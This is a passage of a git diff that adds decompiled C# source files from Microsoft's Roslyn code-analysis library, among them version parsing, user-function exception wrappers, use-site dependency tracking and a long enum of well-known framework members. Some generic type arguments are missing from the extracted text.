static readonly UnmanagedCallersOnlyAttributeData AttributePresentDataNotBound = new UnmanagedCallersOnlyAttributeData(ImmutableHashSet.Empty); + + private static readonly UnmanagedCallersOnlyAttributeData PlatformDefault = new UnmanagedCallersOnlyAttributeData(ImmutableHashSet.Empty); + + public const string CallConvsPropertyName = "CallConvs"; + + public readonly ImmutableHashSet CallingConventionTypes; + + internal static UnmanagedCallersOnlyAttributeData Create(ImmutableHashSet? callingConventionTypes) + { + if (callingConventionTypes == null || callingConventionTypes.IsEmpty) + { + return PlatformDefault; + } + return new UnmanagedCallersOnlyAttributeData(callingConventionTypes); + } + + private UnmanagedCallersOnlyAttributeData(ImmutableHashSet callingConventionTypes) + { + CallingConventionTypes = callingConventionTypes; + } + + internal static bool IsCallConvsTypedConstant(string key, bool isField, in TypedConstant value) + { + if (isField && key == "CallConvs" && value.Kind == TypedConstantKind.Array) + { + if (!value.Values.IsDefaultOrEmpty) + { + return value.Values.All((TypedConstant v) => v.Kind == TypedConstantKind.Type); + } + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnresolvedMetadataReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnresolvedMetadataReference.cs new file mode 100644 index 0000000..be7f7a7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnresolvedMetadataReference.cs @@ -0,0 +1,21 @@ +namespace Microsoft.CodeAnalysis; + +public sealed class UnresolvedMetadataReference : MetadataReference +{ + public string Reference { get; } + + public override string Display => CodeAnalysisResources.Unresolved + Reference; + + internal override bool IsUnresolved => true; + + internal UnresolvedMetadataReference(string reference, MetadataReferenceProperties properties) + : base(properties) + { + Reference = reference; + } + + internal override MetadataReference WithPropertiesImplReturningMetadataReference(MetadataReferenceProperties properties) + { + return new UnresolvedMetadataReference(Reference, properties); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnsupportedSignatureContent.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnsupportedSignatureContent.cs new file mode 100644 index 0000000..25ef966 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnsupportedSignatureContent.cs @@ -0,0 +1,7 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal class UnsupportedSignatureContent : Exception +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UseSiteInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UseSiteInfo.cs new file mode 100644 index 0000000..ae324de --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UseSiteInfo.cs @@ -0,0 +1,78 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct UseSiteInfo where TAssemblySymbol : class, IAssemblySymbolInternal +{ + public readonly DiagnosticInfo? DiagnosticInfo; + + public readonly TAssemblySymbol? PrimaryDependency; + + public readonly ImmutableHashSet? SecondaryDependencies; + + public bool IsEmpty + { + get + { + if (DiagnosticInfo == null && PrimaryDependency == null) + { + return SecondaryDependencies?.IsEmpty ?? true; + } + return false; + } + } + + public UseSiteInfo(TAssemblySymbol? primaryDependency) + : this(null, primaryDependency, null) + { + } + + public UseSiteInfo(ImmutableHashSet? secondaryDependencies) + : this(null, null, secondaryDependencies) + { + } + + public UseSiteInfo(DiagnosticInfo? diagnosticInfo) + : this(diagnosticInfo, null, null) + { + } + + public UseSiteInfo(DiagnosticInfo? diagnosticInfo, TAssemblySymbol? primaryDependency) + : this(diagnosticInfo, primaryDependency, null) + { + } + + public UseSiteInfo(DiagnosticInfo? diagnosticInfo, TAssemblySymbol? primaryDependency, ImmutableHashSet? secondaryDependencies) + { + DiagnosticInfo = diagnosticInfo; + PrimaryDependency = primaryDependency; + SecondaryDependencies = secondaryDependencies ?? ImmutableHashSet.Empty; + } + + public UseSiteInfo AdjustDiagnosticInfo(DiagnosticInfo? diagnosticInfo) + { + if (DiagnosticInfo != diagnosticInfo) + { + if (diagnosticInfo != null && diagnosticInfo.Severity == DiagnosticSeverity.Error) + { + return new UseSiteInfo(diagnosticInfo); + } + return new UseSiteInfo(diagnosticInfo, PrimaryDependency, SecondaryDependencies); + } + return this; + } + + public void MergeDependencies(ref TAssemblySymbol? primaryDependency, ref ImmutableHashSet? secondaryDependencies) + { + secondaryDependencies = (secondaryDependencies ?? ImmutableHashSet.Empty).Union(SecondaryDependencies ?? ImmutableHashSet.Empty); + if (primaryDependency == null) + { + primaryDependency = PrimaryDependency; + } + if (!object.Equals(primaryDependency, PrimaryDependency) && PrimaryDependency != null) + { + secondaryDependencies = secondaryDependencies.Add(PrimaryDependency); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UserFunctionException.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UserFunctionException.cs new file mode 100644 index 0000000..64ebdb5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UserFunctionException.cs @@ -0,0 +1,13 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal sealed class UserFunctionException : Exception +{ + public new Exception InnerException => base.InnerException; + + public UserFunctionException(Exception innerException) + : base("User provided code threw an exception", innerException) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UserFunctionExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UserFunctionExtensions.cs new file mode 100644 index 0000000..2c6ccb7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UserFunctionExtensions.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class UserFunctionExtensions +{ + internal static Func WrapUserFunction(this Func userFunction) + { + return delegate(TInput input, CancellationToken token) + { + try + { + return userFunction(input, token); + } + catch (Exception ex) when (!ExceptionUtilities.IsCurrentOperationBeingCancelled(ex, token)) + { + throw new UserFunctionException(ex); + } + }; + } + + internal static Func> WrapUserFunctionAsImmutableArray(this Func> userFunction) + { + return (TInput input, CancellationToken token) => userFunction.WrapUserFunction()(input, token).ToImmutableArrayOrEmpty(); + } + + internal static Action WrapUserAction(this Action userAction) + { + return delegate(TInput input, CancellationToken token) + { + try + { + userAction(input); + } + catch (Exception ex) when (!ExceptionUtilities.IsCurrentOperationBeingCancelled(ex, token)) + { + throw new UserFunctionException(ex); + } + }; + } + + internal static Action WrapUserAction(this Action userAction) + { + return delegate(TInput1 input1, TInput2 input2, CancellationToken token) + { + try + { + userAction(input1, input2); + } + catch (Exception ex) when (!ExceptionUtilities.IsCurrentOperationBeingCancelled(ex, token)) + { + throw new UserFunctionException(ex); + } + }; + } + + internal static IEqualityComparer WrapUserComparer(this IEqualityComparer comparer) + { + return new WrappedUserComparer(comparer); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/VarianceKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/VarianceKind.cs new file mode 100644 index 0000000..76685c5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/VarianceKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum VarianceKind : short +{ + None, + Out, + In +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/VersionHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/VersionHelper.cs new file mode 100644 index 0000000..1169e28 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/VersionHelper.cs @@ -0,0 +1,114 @@ +using System; +using System.Globalization; +using System.Numerics; + +namespace Microsoft.CodeAnalysis; + +internal static class VersionHelper +{ + internal static bool TryParse(string s, out Version version) + { + return TryParse(s, allowWildcard: false, ushort.MaxValue, allowPartialParse: true, out version); + } + + internal static bool TryParseAssemblyVersion(string s, bool allowWildcard, out Version version) + { + return TryParse(s, allowWildcard, 65534, allowPartialParse: false, out version); + } + + private static bool TryParse(string s, bool allowWildcard, ushort maxValue, bool allowPartialParse, out Version version) + { + if (string.IsNullOrWhiteSpace(s)) + { + version = AssemblyIdentity.NullVersion; + return false; + } + string[] array = s.Split(new char[1] { '.' }); + bool flag = allowWildcard && array[^1] == "*"; + if ((flag && array.Length < 3) || array.Length > 4) + { + version = AssemblyIdentity.NullVersion; + return false; + } + ushort[] array2 = new ushort[4]; + int num = (flag ? (array.Length - 1) : array.Length); + bool flag2 = false; + for (int i = 0; i < num; i++) + { + if (ushort.TryParse(array[i], NumberStyles.None, CultureInfo.InvariantCulture, out array2[i]) && array2[i] <= maxValue) + { + continue; + } + if (!allowPartialParse) + { + version = AssemblyIdentity.NullVersion; + return false; + } + flag2 = true; + if (string.IsNullOrWhiteSpace(array[i])) + { + array2[i] = 0; + break; + } + if (array2[i] > maxValue) + { + array2[i] = 0; + continue; + } + bool flag3 = false; + _ = (BigInteger)0; + for (int j = 0; j < array[i].Length; j++) + { + if (!char.IsDigit(array[i][j])) + { + flag3 = true; + TryGetValue(array[i].Substring(0, j), out array2[i]); + break; + } + } + if (flag3 || !TryGetValue(array[i], out array2[i])) + { + break; + } + } + if (flag) + { + for (int k = num; k < array2.Length; k++) + { + array2[k] = ushort.MaxValue; + } + } + version = new Version(array2[0], array2[1], array2[2], array2[3]); + return !flag2; + } + + private static bool TryGetValue(string s, out ushort value) + { + if (BigInteger.TryParse(s, NumberStyles.None, CultureInfo.InvariantCulture, out var result)) + { + value = (ushort)(result % 65536); + return true; + } + value = 0; + return false; + } + + public static Version? GenerateVersionFromPatternAndCurrentTime(DateTime time, Version pattern) + { + if (pattern == null || pattern.Revision != 65535) + { + return pattern; + } + if (time == default(DateTime)) + { + time = DateTime.Now; + } + int num = (int)time.TimeOfDay.TotalSeconds / 2; + if (pattern.Build == 65535) + { + int num2 = Math.Min(65535, (int)(time.Date - new DateTime(2000, 1, 1)).TotalDays); + return new Version(pattern.Major, pattern.Minor, (ushort)num2, (ushort)num); + } + return new Version(pattern.Major, pattern.Minor, pattern.Build, (ushort)num); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownAttributeData.cs new file mode 100644 index 0000000..f1458eb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownAttributeData.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis; + +internal abstract class WellKnownAttributeData +{ + public static readonly string StringMissingValue = "StringMissingValue"; + + public WellKnownAttributeData() + { + } + + [Conditional("DEBUG")] + protected void VerifySealed(bool expected = true) + { + } + + [Conditional("DEBUG")] + internal void VerifyDataStored(bool expected = true) + { + } + + [Conditional("DEBUG")] + protected void SetDataStored() + { + } + + [Conditional("DEBUG")] + internal static void Seal(WellKnownAttributeData data) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownDiagnosticTags.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownDiagnosticTags.cs new file mode 100644 index 0000000..e208b2b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownDiagnosticTags.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis; + +public static class WellKnownDiagnosticTags +{ + public const string Unnecessary = "Unnecessary"; + + public const string EditAndContinue = "EditAndContinue"; + + public const string Build = "Build"; + + public const string Compiler = "Compiler"; + + public const string Telemetry = "Telemetry"; + + public const string NotConfigurable = "NotConfigurable"; + + public const string AnalyzerException = "AnalyzerException"; + + public const string CustomObsolete = "CustomObsolete"; + + public const string CompilationEnd = "CompilationEnd"; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownGeneratorInputs.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownGeneratorInputs.cs new file mode 100644 index 0000000..8a55644 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownGeneratorInputs.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis; + +public static class WellKnownGeneratorInputs +{ + public const string Compilation = "Compilation"; + + internal const string CompilationOptions = "CompilationOptions"; + + public const string ParseOptions = "ParseOptions"; + + public const string AdditionalTexts = "AdditionalTexts"; + + public const string AnalyzerConfigOptions = "AnalyzerConfigOptions"; + + public const string MetadataReferences = "MetadataReferences"; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownGeneratorOutputs.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownGeneratorOutputs.cs new file mode 100644 index 0000000..b93a527 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownGeneratorOutputs.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public static class WellKnownGeneratorOutputs +{ + public const string SourceOutput = "SourceOutput"; + + public const string ImplementationSourceOutput = "ImplementationSourceOutput"; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownMember.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownMember.cs new file mode 100644 index 0000000..aa4e68f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownMember.cs @@ -0,0 +1,512 @@ +namespace Microsoft.CodeAnalysis; + +internal enum WellKnownMember +{ + System_Object__ToString, + System_Math__RoundDouble, + System_Math__PowDoubleDouble, + System_Array__get_Length, + System_Array__Empty, + System_Convert__ToBooleanDecimal, + System_Convert__ToBooleanInt32, + System_Convert__ToBooleanUInt32, + System_Convert__ToBooleanInt64, + System_Convert__ToBooleanUInt64, + System_Convert__ToBooleanSingle, + System_Convert__ToBooleanDouble, + System_Convert__ToSByteDecimal, + System_Convert__ToSByteDouble, + System_Convert__ToSByteSingle, + System_Convert__ToByteDecimal, + System_Convert__ToByteDouble, + System_Convert__ToByteSingle, + System_Convert__ToInt16Decimal, + System_Convert__ToInt16Double, + System_Convert__ToInt16Single, + System_Convert__ToUInt16Decimal, + System_Convert__ToUInt16Double, + System_Convert__ToUInt16Single, + System_Convert__ToInt32Decimal, + System_Convert__ToInt32Double, + System_Convert__ToInt32Single, + System_Convert__ToUInt32Decimal, + System_Convert__ToUInt32Double, + System_Convert__ToUInt32Single, + System_Convert__ToInt64Decimal, + System_Convert__ToInt64Double, + System_Convert__ToInt64Single, + System_Convert__ToUInt64Decimal, + System_Convert__ToUInt64Double, + System_Convert__ToUInt64Single, + System_Convert__ToSingleDecimal, + System_Convert__ToDoubleDecimal, + System_CLSCompliantAttribute__ctor, + System_FlagsAttribute__ctor, + System_Guid__ctor, + System_Type__GetTypeFromCLSID, + System_Type__GetTypeFromHandle, + System_Type__Missing, + System_Type__op_Equality, + System_Reflection_AssemblyKeyFileAttribute__ctor, + System_Reflection_AssemblyKeyNameAttribute__ctor, + System_Reflection_MethodBase__GetMethodFromHandle, + System_Reflection_MethodBase__GetMethodFromHandle2, + System_Reflection_MethodInfo__CreateDelegate, + System_Delegate__CreateDelegate, + System_Delegate__CreateDelegate4, + System_Reflection_FieldInfo__GetFieldFromHandle, + System_Reflection_FieldInfo__GetFieldFromHandle2, + System_Reflection_Missing__Value, + System_IEquatable_T__Equals, + System_Collections_Generic_IEqualityComparer_T__Equals, + System_Collections_Generic_EqualityComparer_T__Equals, + System_Collections_Generic_EqualityComparer_T__GetHashCode, + System_Collections_Generic_EqualityComparer_T__get_Default, + System_AttributeUsageAttribute__ctor, + System_AttributeUsageAttribute__AllowMultiple, + System_AttributeUsageAttribute__Inherited, + System_ParamArrayAttribute__ctor, + System_STAThreadAttribute__ctor, + System_Reflection_DefaultMemberAttribute__ctor, + System_Diagnostics_Debugger__Break, + System_Diagnostics_DebuggerDisplayAttribute__ctor, + System_Diagnostics_DebuggerDisplayAttribute__Type, + System_Diagnostics_DebuggerNonUserCodeAttribute__ctor, + System_Diagnostics_DebuggerHiddenAttribute__ctor, + System_Diagnostics_DebuggerBrowsableAttribute__ctor, + System_Diagnostics_DebuggerStepThroughAttribute__ctor, + System_Diagnostics_DebuggableAttribute__ctorDebuggingModes, + System_Diagnostics_DebuggableAttribute_DebuggingModes__Default, + System_Diagnostics_DebuggableAttribute_DebuggingModes__DisableOptimizations, + System_Diagnostics_DebuggableAttribute_DebuggingModes__EnableEditAndContinue, + System_Diagnostics_DebuggableAttribute_DebuggingModes__IgnoreSymbolStoreSequencePoints, + System_Runtime_InteropServices_UnknownWrapper__ctor, + System_Runtime_InteropServices_DispatchWrapper__ctor, + System_Runtime_InteropServices_ClassInterfaceAttribute__ctorClassInterfaceType, + System_Runtime_InteropServices_CoClassAttribute__ctor, + System_Runtime_InteropServices_ComAwareEventInfo__ctor, + System_Runtime_InteropServices_ComAwareEventInfo__AddEventHandler, + System_Runtime_InteropServices_ComAwareEventInfo__RemoveEventHandler, + System_Runtime_InteropServices_ComEventInterfaceAttribute__ctor, + System_Runtime_InteropServices_ComSourceInterfacesAttribute__ctorString, + System_Runtime_InteropServices_ComVisibleAttribute__ctor, + System_Runtime_InteropServices_DispIdAttribute__ctor, + System_Runtime_InteropServices_GuidAttribute__ctor, + System_Runtime_InteropServices_InterfaceTypeAttribute__ctorComInterfaceType, + System_Runtime_InteropServices_InterfaceTypeAttribute__ctorInt16, + System_Runtime_InteropServices_Marshal__GetTypeFromCLSID, + System_Runtime_InteropServices_TypeIdentifierAttribute__ctor, + System_Runtime_InteropServices_TypeIdentifierAttribute__ctorStringString, + System_Runtime_InteropServices_BestFitMappingAttribute__ctor, + System_Runtime_InteropServices_DefaultParameterValueAttribute__ctor, + System_Runtime_InteropServices_LCIDConversionAttribute__ctor, + System_Runtime_InteropServices_UnmanagedFunctionPointerAttribute__ctor, + System_Runtime_InteropServices_MemoryMarshal__CreateSpan, + System_Runtime_InteropServices_MemoryMarshal__CreateReadOnlySpan, + System_Runtime_InteropServices_WindowsRuntime_EventRegistrationTokenTable_T__AddEventHandler, + System_Runtime_InteropServices_WindowsRuntime_EventRegistrationTokenTable_T__GetOrCreateEventRegistrationTokenTable, + System_Runtime_InteropServices_WindowsRuntime_EventRegistrationTokenTable_T__InvocationList, + System_Runtime_InteropServices_WindowsRuntime_EventRegistrationTokenTable_T__RemoveEventHandler, + System_Runtime_InteropServices_WindowsRuntime_WindowsRuntimeMarshal__AddEventHandler_T, + System_Runtime_InteropServices_WindowsRuntime_WindowsRuntimeMarshal__RemoveAllEventHandlers, + System_Runtime_InteropServices_WindowsRuntime_WindowsRuntimeMarshal__RemoveEventHandler_T, + System_Runtime_CompilerServices_DateTimeConstantAttribute__ctor, + System_Runtime_CompilerServices_DecimalConstantAttribute__ctor, + System_Runtime_CompilerServices_DecimalConstantAttribute__ctorByteByteInt32Int32Int32, + System_Runtime_CompilerServices_ExtensionAttribute__ctor, + System_Runtime_CompilerServices_CompilerGeneratedAttribute__ctor, + System_Runtime_CompilerServices_AccessedThroughPropertyAttribute__ctor, + System_Runtime_CompilerServices_CompilationRelaxationsAttribute__ctorInt32, + System_Runtime_CompilerServices_RuntimeCompatibilityAttribute__ctor, + System_Runtime_CompilerServices_RuntimeCompatibilityAttribute__WrapNonExceptionThrows, + System_Runtime_CompilerServices_UnsafeValueTypeAttribute__ctor, + System_Runtime_CompilerServices_FixedBufferAttribute__ctor, + System_Runtime_CompilerServices_DynamicAttribute__ctor, + System_Runtime_CompilerServices_DynamicAttribute__ctorTransformFlags, + System_Runtime_CompilerServices_CallSite_T__Create, + System_Runtime_CompilerServices_CallSite_T__Target, + System_Runtime_CompilerServices_RuntimeHelpers__CreateSpanRuntimeFieldHandle, + System_Runtime_CompilerServices_RuntimeHelpers__GetObjectValueObject, + System_Runtime_CompilerServices_RuntimeHelpers__InitializeArrayArrayRuntimeFieldHandle, + System_Runtime_CompilerServices_RuntimeHelpers__get_OffsetToStringData, + System_Runtime_CompilerServices_RuntimeHelpers__GetSubArray_T, + System_Runtime_CompilerServices_RuntimeHelpers__EnsureSufficientExecutionStack, + System_Runtime_CompilerServices_Unsafe__Add_T, + System_Runtime_CompilerServices_Unsafe__As_T, + System_Runtime_CompilerServices_Unsafe__AsRef_T, + System_Runtime_ExceptionServices_ExceptionDispatchInfo__Capture, + System_Runtime_ExceptionServices_ExceptionDispatchInfo__Throw, + System_Security_UnverifiableCodeAttribute__ctor, + System_Security_Permissions_SecurityAction__RequestMinimum, + System_Security_Permissions_SecurityPermissionAttribute__ctor, + System_Security_Permissions_SecurityPermissionAttribute__SkipVerification, + System_Activator__CreateInstance, + System_Activator__CreateInstance_T, + System_Threading_Interlocked__CompareExchange, + System_Threading_Interlocked__CompareExchange_T, + System_Threading_Monitor__Enter, + System_Threading_Monitor__Enter2, + System_Threading_Monitor__Exit, + System_Threading_Thread__CurrentThread, + System_Threading_Thread__ManagedThreadId, + Microsoft_CSharp_RuntimeBinder_Binder__BinaryOperation, + Microsoft_CSharp_RuntimeBinder_Binder__Convert, + Microsoft_CSharp_RuntimeBinder_Binder__GetIndex, + Microsoft_CSharp_RuntimeBinder_Binder__GetMember, + Microsoft_CSharp_RuntimeBinder_Binder__Invoke, + Microsoft_CSharp_RuntimeBinder_Binder__InvokeConstructor, + Microsoft_CSharp_RuntimeBinder_Binder__InvokeMember, + Microsoft_CSharp_RuntimeBinder_Binder__IsEvent, + Microsoft_CSharp_RuntimeBinder_Binder__SetIndex, + Microsoft_CSharp_RuntimeBinder_Binder__SetMember, + Microsoft_CSharp_RuntimeBinder_Binder__UnaryOperation, + Microsoft_CSharp_RuntimeBinder_CSharpArgumentInfo__Create, + Microsoft_VisualBasic_CompilerServices_Conversions__ToDecimalBoolean, + Microsoft_VisualBasic_CompilerServices_Conversions__ToBooleanString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToSByteString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToByteString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToShortString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToUShortString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToIntegerString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToUIntegerString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToLongString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToULongString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToSingleString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToDoubleString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToDecimalString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToDateString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToCharString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToCharArrayRankOneString, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringBoolean, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringInt32, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringByte, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringUInt32, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringInt64, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringUInt64, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringSingle, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringDouble, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringDecimal, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringDateTime, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringChar, + Microsoft_VisualBasic_CompilerServices_Conversions__ToStringObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToBooleanObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToSByteObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToByteObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToShortObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToUShortObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToIntegerObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToUIntegerObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToLongObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToULongObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToSingleObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToDoubleObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToDecimalObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToDateObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToCharObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToCharArrayRankOneObject, + Microsoft_VisualBasic_CompilerServices_Conversions__ToGenericParameter_T_Object, + Microsoft_VisualBasic_CompilerServices_Conversions__ChangeType, + Microsoft_VisualBasic_CompilerServices_Operators__PlusObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__NegateObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__NotObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__AndObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__OrObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__XorObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__AddObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__SubtractObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__MultiplyObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__DivideObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__ExponentObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__ModObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__IntDivideObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__LeftShiftObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__RightShiftObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__ConcatenateObjectObjectObject, + Microsoft_VisualBasic_CompilerServices_Operators__CompareObjectEqualObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__CompareObjectNotEqualObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__CompareObjectLessObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__CompareObjectLessEqualObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__CompareObjectGreaterEqualObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__CompareObjectGreaterObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__ConditionalCompareObjectEqualObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__ConditionalCompareObjectNotEqualObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__ConditionalCompareObjectLessObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__ConditionalCompareObjectLessEqualObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__ConditionalCompareObjectGreaterEqualObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__ConditionalCompareObjectGreaterObjectObjectBoolean, + Microsoft_VisualBasic_CompilerServices_Operators__CompareStringStringStringBoolean, + Microsoft_VisualBasic_CompilerServices_EmbeddedOperators__CompareStringStringStringBoolean, + Microsoft_VisualBasic_CompilerServices_NewLateBinding__LateCall, + Microsoft_VisualBasic_CompilerServices_NewLateBinding__LateGet, + Microsoft_VisualBasic_CompilerServices_NewLateBinding__LateSet, + Microsoft_VisualBasic_CompilerServices_NewLateBinding__LateSetComplex, + Microsoft_VisualBasic_CompilerServices_NewLateBinding__LateIndexGet, + Microsoft_VisualBasic_CompilerServices_NewLateBinding__LateIndexSet, + Microsoft_VisualBasic_CompilerServices_NewLateBinding__LateIndexSetComplex, + Microsoft_VisualBasic_CompilerServices_StandardModuleAttribute__ctor, + Microsoft_VisualBasic_CompilerServices_StaticLocalInitFlag__ctor, + Microsoft_VisualBasic_CompilerServices_StaticLocalInitFlag__State, + Microsoft_VisualBasic_CompilerServices_StringType__MidStmtStr, + Microsoft_VisualBasic_CompilerServices_IncompleteInitialization__ctor, + Microsoft_VisualBasic_Embedded__ctor, + Microsoft_VisualBasic_CompilerServices_Utils__CopyArray, + Microsoft_VisualBasic_CompilerServices_LikeOperator__LikeStringStringStringCompareMethod, + Microsoft_VisualBasic_CompilerServices_LikeOperator__LikeObjectObjectObjectCompareMethod, + Microsoft_VisualBasic_CompilerServices_ProjectData__CreateProjectError, + Microsoft_VisualBasic_CompilerServices_ProjectData__SetProjectError, + Microsoft_VisualBasic_CompilerServices_ProjectData__SetProjectError_Int32, + Microsoft_VisualBasic_CompilerServices_ProjectData__ClearProjectError, + Microsoft_VisualBasic_CompilerServices_ProjectData__EndApp, + Microsoft_VisualBasic_CompilerServices_ObjectFlowControl_ForLoopControl__ForLoopInitObj, + Microsoft_VisualBasic_CompilerServices_ObjectFlowControl_ForLoopControl__ForNextCheckObj, + Microsoft_VisualBasic_CompilerServices_ObjectFlowControl__CheckForSyncLockOnValueType, + Microsoft_VisualBasic_CompilerServices_Versioned__CallByName, + 